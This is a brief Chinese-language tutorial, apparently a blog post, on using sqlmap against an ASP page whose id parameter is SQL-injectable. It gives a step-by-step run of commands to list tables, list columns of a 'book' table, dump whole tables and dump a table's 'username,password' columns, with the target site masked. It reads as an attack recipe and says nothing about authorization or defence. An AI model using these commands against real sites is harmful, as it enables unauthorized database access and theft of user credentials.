sqlmap測試asp實戰

標籤：map   sqlmap   xxxx   線程   技術分享   www   針對   log   注入   

如果檢測到某個網址，比如www.XXXXXX.asp?id=26存在sql注入漏洞

爆表名

sqlmap -u "www.XXXXXX.asp?id=26" --tables

線程選10不到1分鐘擷取到所有表名

爆欄位

這裡針對book表

sqlmap -u "www.XXXXXX.asp?id=26" --columns -T "book"

線程數選10

同樣不到一分鐘，book表所有的欄位全都爆出來了

擷取所有表的內容

sqlmap -u "www.XXXXXX.asp?id=26" --dump

只擷取某個表的內容

 

sqlmap -u "www.XXXXXX.asp?id=26" --dump -T "book"

只擷取某個表中某些列的內容

sqlmap -u "www.XXXXXXX.asp?id=26" --dump -C "username,password" -T "book"

 

sqlmap測試asp實戰